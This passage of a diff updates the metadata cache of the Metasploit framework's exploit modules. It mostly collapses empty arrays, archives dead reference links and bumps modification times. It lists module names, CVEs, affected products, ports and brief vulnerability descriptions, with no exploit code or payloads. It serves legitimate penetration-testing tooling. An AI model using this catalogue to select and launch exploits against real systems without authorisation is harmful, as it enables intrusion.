loongarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "An Unforgettable Luncheon", "Legitimate Theater" @@ -101524,17 +89350,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/handler": { "name": "Generic Payload Handler", "fullname": "exploit/multi/handler", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "exploit", @@ -101543,18 +89366,12 @@ "bcook-r7" ], "description": "This module is a stub that provides all of the\n features of the Metasploit payload system to exploits\n that have been launched outside of the framework.", - "references": [ - - ], + "references": [], "platform": "Android,Apple_iOS,BSD,Java,JavaScript,Linux,Mainframe,Multi,NodeJS,OSX,PHP,Python,Ruby,Solaris,Unix,Windows", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Wildcard Target" ], @@ -101565,8 +89382,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -101636,9 +89452,7 @@ "exploit_multi/http/activecollab_chat": { "name": "Active Collab \"chat module\" Remote PHP Code Injection Exploit", "fullname": "exploit/multi/http/activecollab_chat", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-30", "type": "exploit", @@ -101679,17 +89493,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/adobe_coldfusion_rce_cve_2023_26360": { "name": "Adobe ColdFusion Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-03-14", "type": "exploit", @@ -101754,9 +89565,7 @@ "exploit_multi/http/agent_tesla_panel_rce": { "name": "Agent Tesla Panel Remote Code Execution", "fullname": "exploit/multi/http/agent_tesla_panel_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-08-14", "type": "exploit", @@ -101818,9 +89627,7 @@ "exploit_multi/http/ajaxplorer_checkinstall_exec": { "name": "AjaXplorer checkInstall.php Remote Command Execution", "fullname": "exploit/multi/http/ajaxplorer_checkinstall_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-04-04", "type": "exploit", @@ -101862,17 +89669,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/apache_activemq_upload_jsp": { "name": "ActiveMQ web shell upload", "fullname": "exploit/multi/http/apache_activemq_upload_jsp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-01", "type": "exploit", @@ -101915,17 +89719,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/apache_apisix_api_default_token_rce": { "name": "APISIX Admin API default access token RCE", "fullname": "exploit/multi/http/apache_apisix_api_default_token_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-12-07", "type": "exploit", @@ -101986,9 +89787,7 @@ "exploit_multi/http/apache_commons_text4shell": { "name": "Apache Commons Text RCE", "fullname": "exploit/multi/http/apache_commons_text4shell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-13", "type": "exploit", @@ -102053,9 +89852,7 @@ "exploit_multi/http/apache_couchdb_erlang_rce": { "name": "Apache Couchdb Erlang RCE", "fullname": "exploit/multi/http/apache_couchdb_erlang_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-01-21", "type": "exploit", @@ -102075,12 +89872,8 @@ "platform": "Linux,Windows", "arch": "cmd", "rport": 4369, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper", @@ -102113,9 +89906,7 @@ "exploit_multi/http/apache_druid_cve_2023_25194": { "name": "Apache Druid JNDI Injection RCE", "fullname": "exploit/multi/http/apache_druid_cve_2023_25194", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-02-07", "type": "exploit", @@ -102176,9 +89967,7 @@ "exploit_multi/http/apache_flink_jar_upload_exec": { "name": "Apache Flink JAR Upload Java Code Execution", "fullname": "exploit/multi/http/apache_flink_jar_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-13", "type": "exploit", @@ -102242,9 +90031,7 @@ "exploit_multi/http/apache_jetspeed_file_upload": { "name": "Apache Jetspeed Arbitrary File Upload", "fullname": "exploit/multi/http/apache_jetspeed_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-03-06", "type": "exploit", @@ -102289,17 +90076,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/apache_mod_cgi_bash_env_exec": { "name": "Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)", "fullname": "exploit/multi/http/apache_mod_cgi_bash_env_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-24", "type": "exploit", @@ -102352,12 +90136,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "Shellshock" ] @@ -102368,9 +90148,7 @@ "exploit_multi/http/apache_nifi_processor_rce": { "name": "Apache NiFi API Remote Code Execution", "fullname": "exploit/multi/http/apache_nifi_processor_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-03", "type": "exploit", @@ -102433,9 +90211,7 @@ "exploit_multi/http/apache_normalize_path_rce": { "name": "Apache 2.4.49/2.4.50 Traversal RCE", "fullname": "exploit/multi/http/apache_normalize_path_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-10", "type": "exploit", @@ -102501,9 +90277,7 @@ "exploit_multi/http/apache_ofbiz_forgot_password_directory_traversal": { "name": "Apache OFBiz forgotPassword/ProgramExport RCE", "fullname": "exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-30", "type": "exploit", @@ -102564,9 +90338,7 @@ "exploit_multi/http/apache_rocketmq_update_config": { "name": "Apache RocketMQ update config RCE", "fullname": "exploit/multi/http/apache_rocketmq_update_config", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-23", "type": "exploit", @@ -102583,12 +90355,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": 9876, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (Unix In-Memory)" ], @@ -102617,9 +90385,7 @@ "exploit_multi/http/apache_roller_ognl_injection": { "name": "Apache Roller OGNL Injection", "fullname": "exploit/multi/http/apache_roller_ognl_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-31", "type": "exploit", @@ -102660,17 +90426,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/apprain_upload_exec": { "name": "appRain CMF Arbitrary PHP File Upload Vulnerability", "fullname": "exploit/multi/http/apprain_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-19", "type": "exploit", @@ -102713,17 +90476,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/atlassian_confluence_namespace_ognl_injection": { "name": "Atlassian Confluence Namespace OGNL Injection", "fullname": "exploit/multi/http/atlassian_confluence_namespace_ognl_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-02", "type": "exploit", @@ -102790,9 +90550,7 @@ "exploit_multi/http/atlassian_confluence_rce_cve_2023_22515": { "name": "Atlassian Confluence Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/atlassian_confluence_rce_cve_2023_22515", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-04", "type": "exploit", @@ -102850,9 +90608,7 @@ "exploit_multi/http/atlassian_confluence_rce_cve_2023_22527": { "name": "Atlassian Confluence SSTI Injection", "fullname": "exploit/multi/http/atlassian_confluence_rce_cve_2023_22527", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-16", "type": "exploit", @@ -102913,9 +90669,7 @@ "exploit_multi/http/atlassian_confluence_rce_cve_2024_21683": { "name": "Atlassian Confluence Administrator Code Macro Remote Code Execution", "fullname": "exploit/multi/http/atlassian_confluence_rce_cve_2024_21683", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-21", "type": "exploit", @@ -102977,9 +90731,7 @@ "exploit_multi/http/atlassian_confluence_unauth_backup": { "name": "Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)", "fullname": "exploit/multi/http/atlassian_confluence_unauth_backup", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-31", "type": "exploit", @@ -103108,9 +90860,7 @@ "exploit_multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce": { "name": "Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE", "fullname": "exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-22", "type": "exploit", @@ -103172,9 +90922,7 @@ "exploit_multi/http/atutor_sqli": { "name": "ATutor 2.2.1 SQL Injection / Remote Code Execution", "fullname": "exploit/multi/http/atutor_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-01", "type": "exploit", @@ -103215,17 +90963,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/atutor_upload_traversal": { "name": "ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ", "fullname": "exploit/multi/http/atutor_upload_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-17", "type": "exploit", @@ -103276,9 +91021,7 @@ "artifacts-on-disk", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": true @@ -103286,9 +91029,7 @@ "exploit_multi/http/auxilium_upload_exec": { "name": "Auxilium RateMyPet Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/auxilium_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-09-14", "type": "exploit", @@ -103330,17 +91071,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/avideo_wwbnindex_unauth_rce": { "name": "AVideo WWBNIndex Plugin Unauthenticated RCE", "fullname": "exploit/multi/http/avideo_wwbnindex_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-09", "type": "exploit", @@ -103402,9 +91140,7 @@ "exploit_multi/http/axis2_deployer": { "name": "Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)", "fullname": "exploit/multi/http/axis2_deployer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-30", "type": "exploit", @@ -103449,17 +91185,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/baldr_upload_exec": { "name": "Baldr Botnet Panel Shell Upload Exploit", "fullname": "exploit/multi/http/baldr_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-12-19", "type": "exploit", @@ -103522,9 +91255,7 @@ "exploit_multi/http/bassmaster_js_injection": { "name": "Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution", "fullname": "exploit/multi/http/bassmaster_js_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-11-01", "type": "exploit", @@ -103565,17 +91296,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/bitbucket_env_var_rce": { "name": "Bitbucket Environment Variable RCE", "fullname": "exploit/multi/http/bitbucket_env_var_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-11-16", "type": "exploit", @@ -103638,9 +91366,7 @@ "exploit_multi/http/bolt_file_upload": { "name": "CMS Bolt File Upload Vulnerability", "fullname": "exploit/multi/http/bolt_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-17", "type": "exploit", @@ -103681,17 +91407,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/builderengine_upload_exec": { "name": "BuilderEngine Arbitrary File Upload Vulnerability and execution", "fullname": "exploit/multi/http/builderengine_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-09-18", "type": "exploit", @@ -103731,17 +91454,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cacti_package_import_rce": { "name": "Cacti Import Packages RCE", "fullname": "exploit/multi/http/cacti_package_import_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-12", "type": "exploit", @@ -103803,9 +91523,7 @@ "exploit_multi/http/cacti_pollers_sqli_rce": { "name": "Cacti RCE via SQLi in pollers.php", "fullname": "exploit/multi/http/cacti_pollers_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-12-20", "type": "exploit", @@ -103867,9 +91585,7 @@ "exploit_multi/http/caidao_php_backdoor_exec": { "name": "China Chopper Caidao PHP Backdoor Code Execution", "fullname": "exploit/multi/http/caidao_php_backdoor_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-10-27", "type": "exploit", @@ -103880,7 +91596,7 @@ "references": [ "URL-https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", "URL-https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", - "URL-https://www.exploit-db.com/docs/27654.pdf", + "URL-http://web.archive.org/web/20170214000632/https://www.exploit-db.com/docs/27654.pdf", "URL-https://www.cisa.gov/uscert/ncas/alerts/TA15-313A" ], "platform": "PHP", @@ -103904,24 +91620,21 @@ "targets": [ "Automatic" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/caidao_php_backdoor_exec.rb", "is_install_path": true, "ref_name": "multi/http/caidao_php_backdoor_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/churchinfo_upload_exec": { "name": "ChurchInfo 1.2.13-1.3.0 Authenticated RCE", "fullname": "exploit/multi/http/churchinfo_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-10-30", "type": "exploit", @@ -103980,9 +91693,7 @@ "exploit_multi/http/cisco_dcnm_upload": { "name": "Cisco Prime Data Center Network Manager Arbitrary File Upload", "fullname": "exploit/multi/http/cisco_dcnm_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-18", "type": "exploit", @@ -104025,17 +91736,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cisco_dcnm_upload_2019": { "name": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/cisco_dcnm_upload_2019", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-06-26", "type": "exploit", @@ -104083,17 +91791,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cleo_rce_cve_2024_55956": { "name": "Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/cleo_rce_cve_2024_55956", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-12-09", "type": "exploit", @@ -104156,9 +91861,7 @@ "exploit_multi/http/clinic_pms_fileupload_rce": { "name": "Clinic's Patient Management System 1.0 - Unauthenticated RCE", "fullname": "exploit/multi/http/clinic_pms_fileupload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-31", "type": "exploit", @@ -104218,9 +91921,7 @@ "exploit_multi/http/clipbucket_fileupload_exec": { "name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", "fullname": "exploit/multi/http/clipbucket_fileupload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-03-03", "type": "exploit", @@ -104261,17 +91962,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cmsms_object_injection_rce": { "name": "CMS Made Simple Authenticated RCE via object injection", "fullname": "exploit/multi/http/cmsms_object_injection_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-26", "type": "exploit", @@ -104312,17 +92010,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cmsms_showtime2_rce": { "name": "CMS Made Simple (CMSMS) Showtime2 File Upload RCE", "fullname": "exploit/multi/http/cmsms_showtime2_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-11", "type": "exploit", @@ -104366,17 +92061,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cmsms_upload_rename_rce": { "name": "CMS Made Simple Authenticated RCE via File Upload/Copy", "fullname": "exploit/multi/http/cmsms_upload_rename_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-07-03", "type": "exploit", @@ -104419,17 +92111,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/cockpit_cms_rce": { "name": "Cockpit CMS NoSQLi to RCE", "fullname": "exploit/multi/http/cockpit_cms_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-04-13", "type": "exploit", @@ -104489,9 +92178,7 @@ "exploit_multi/http/coldfusion_ckeditor_file_upload": { "name": "Adobe ColdFusion CKEditor unrestricted file upload", "fullname": "exploit/multi/http/coldfusion_ckeditor_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-09-11", "type": "exploit", @@ -104534,8 +92221,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -104587,17 +92273,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/confluence_widget_connector": { "name": "Atlassian Confluence Widget Connector Macro Velocity Template Injection", "fullname": "exploit/multi/http/confluence_widget_connector", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-25", "type": "exploit", @@ -104610,7 +92293,7 @@ "CVE-2019-3396", "URL-https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html", "URL-https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/", - "URL-https://paper.seebug.org/886/" + "URL-http://web.archive.org/web/20231207164611/https://paper.seebug.org/886/" ], "platform": "", "arch": "", @@ -104635,7 +92318,7 @@ "Windows", "Linux" ], - "mod_time": "2022-07-01 08:43:47 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/confluence_widget_connector.rb", "is_install_path": true, "ref_name": "multi/http/confluence_widget_connector", @@ -104660,9 +92343,7 @@ "exploit_multi/http/connectwise_screenconnect_rce_cve_2024_1709": { "name": "ConnectWise ScreenConnect Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-02-19", "type": "exploit", @@ -104727,9 +92408,7 @@ "exploit_multi/http/crushftp_rce_cve_2023_43177": { "name": "CrushFTP Unauthenticated RCE", "fullname": "exploit/multi/http/crushftp_rce_cve_2023_43177", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-08", "type": "exploit", @@ -104793,9 +92472,7 @@ "exploit_multi/http/cups_bash_env_exec": { "name": "CUPS Filter Bash Environment Variable Code Injection (Shellshock)", "fullname": "exploit/multi/http/cups_bash_env_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-24", "type": "exploit", @@ -104846,12 +92523,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "Shellshock" ] @@ -104862,9 +92535,7 @@ "exploit_multi/http/cuteflow_upload_exec": { "name": "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/cuteflow_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-27", "type": "exploit", @@ -104873,7 +92544,7 @@ ], "description": "This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.\n This application has an upload feature that allows an unauthenticated\n user to upload arbitrary files to the 'upload/___1/' directory\n and then execute it.", "references": [ - "URL-http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/", + "URL-http://web.archive.org/web/20210922054637/https://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/", "OSVDB-84829" ], "platform": "PHP", @@ -104897,24 +92568,21 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/multi/http/cuteflow_upload_exec.rb", "is_install_path": true, "ref_name": "multi/http/cuteflow_upload_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/cve_2021_35464_forgerock_openam": { "name": "ForgeRock / OpenAM Jato Java Deserialization", "fullname": "exploit/multi/http/cve_2021_35464_forgerock_openam", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-06-29", "type": "exploit", @@ -104977,9 +92645,7 @@ "exploit_multi/http/cve_2023_38836_boidcms": { "name": "BoidCMS Command Injection", "fullname": "exploit/multi/http/cve_2023_38836_boidcms", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-13", "type": "exploit", @@ -105039,9 +92705,7 @@ "exploit_multi/http/dexter_casinoloader_exec": { "name": "Dexter (CasinoLoader) SQL Injection", "fullname": "exploit/multi/http/dexter_casinoloader_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-02-08", "type": "exploit", @@ -105080,17 +92744,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/dotcms_file_upload_rce": { "name": "DotCMS RCE via Arbitrary File Upload.", "fullname": "exploit/multi/http/dotcms_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-05-03", "type": "exploit", @@ -105151,9 +92812,7 @@ "exploit_multi/http/drupal_drupageddon": { "name": "Drupal HTTP Parameter Key/Value SQL Injection", "fullname": "exploit/multi/http/drupal_drupageddon", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-15", "type": "exploit", @@ -105203,12 +92862,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "Drupageddon" ] @@ -105219,9 +92874,7 @@ "exploit_multi/http/eaton_nsm_code_exec": { "name": "Network Shutdown Module (sort_values) Remote PHP Code Injection", "fullname": "exploit/multi/http/eaton_nsm_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-26", "type": "exploit", @@ -105263,17 +92916,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/eventlog_file_upload": { "name": "ManageEngine Eventlog Analyzer Arbitrary File Upload", "fullname": "exploit/multi/http/eventlog_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-31", "type": "exploit", @@ -105319,17 +92969,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/extplorer_upload_exec": { "name": "eXtplorer v2.1 Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/extplorer_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-31", "type": "exploit", @@ -105340,7 +92987,7 @@ "references": [ "OSVDB-88751", "BID-57058", - "URL-http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability", + "URL-http://web.archive.org/web/20230128023508/https://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability/", "URL-http://extplorer.net/issues/105" ], "platform": "PHP", @@ -105364,24 +93011,21 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/extplorer_upload_exec.rb", "is_install_path": true, "ref_name": "multi/http/extplorer_upload_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/familycms_less_exec": { "name": "Family Connections less.php Remote Command Execution", "fullname": "exploit/multi/http/familycms_less_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-29", "type": "exploit", @@ -105426,17 +93070,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/fortra_goanywhere_mft_rce_cve_2024_0204": { "name": "Fortra GoAnywhere MFT Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-22", "type": "exploit", @@ -105500,9 +93141,7 @@ "exploit_multi/http/fortra_goanywhere_rce_cve_2023_0669": { "name": "Fortra GoAnywhere MFT Unsafe Deserialization RCE", "fullname": "exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-02-01", "type": "exploit", @@ -105562,9 +93201,7 @@ "exploit_multi/http/freenas_exec_raw": { "name": "FreeNAS exec_raw.php Arbitrary Command Execution", "fullname": "exploit/multi/http/freenas_exec_raw", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-06", "type": "exploit", @@ -105604,17 +93241,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/gambio_unauth_rce_cve_2024_23759": { "name": "Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability", "fullname": "exploit/multi/http/gambio_unauth_rce_cve_2024_23759", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-19", "type": "exploit", @@ -105676,9 +93310,7 @@ "exploit_multi/http/geoserver_unauth_rce_cve_2024_36401": { "name": "Geoserver unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/geoserver_unauth_rce_cve_2024_36401", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-07-01", "type": "exploit", @@ -105743,9 +93375,7 @@ "exploit_multi/http/gestioip_exec": { "name": "GestioIP Remote Command Execution", "fullname": "exploit/multi/http/gestioip_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-04", "type": "exploit", @@ -105786,17 +93416,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/getsimplecms_unauth_code_exec": { "name": "GetSimpleCMS Unauthenticated RCE", "fullname": "exploit/multi/http/getsimplecms_unauth_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-28", "type": "exploit", @@ -105836,17 +93463,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - 